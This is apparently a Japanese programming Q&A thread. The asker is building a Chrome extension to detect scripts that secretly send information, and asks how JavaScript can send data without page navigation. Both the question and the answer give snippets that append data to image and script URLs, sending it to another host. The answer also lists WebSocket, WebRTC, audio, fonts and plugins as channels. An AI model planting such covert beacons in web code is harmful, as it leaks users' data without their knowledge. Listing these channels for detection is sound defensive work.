JavaScriptでページ遷移をしないリクエスト


現在，Webページ上で，密かに情報を送るようなスクリプトコードを検知するChrome拡張機能を作っています．  
ひいては，JavaScriptでページ遷移をしないリクエストで情報をサーバーに送信する方法は，どのようなものがありますか？

現状考えつくのは，  
１．XHRリクエストを使う  
２．以下のように，画像ダウンロードリクエストに忍ばせる  
という方法です．

var img = new Image();  
img.src = 'abc.php?d='+data;

他にも方法がありましたらご教授お願いします．




画像だけでなく、スクリプト、スタイルシート、オーディオ、フォントなど、ありとあらゆるリソースのリクエストのURLに情報を忍ばせることができます。あるいはWebSocket、WebRTCなどでの接続でもデータを送れますし、FlashやJava
Applet、Silverlightのようなプラグインを利用する方法もあるでしょう。

(追記)

画像と同様に、該当する要素を作成して`src`プロパティを設定するだけです。スクリプトなら`document.createElement("script")`で`script`要素を作って`src`プロパティに任意のURLを設定します。

[code]

    var data = encodeURI("seclet data");
    var script = document.createElement("script");
    script.src = 'http://example.com/foo.js?d=' + data;
    document.body.appendChild(script);
[/code]

また、オーディオなら`document.createElement("audio")`でいいし、フォントなら`document.createElement("style")`で`style`要素を作ってから`@import`で適当なフォントのURLをリクエストすればいいでしょう。

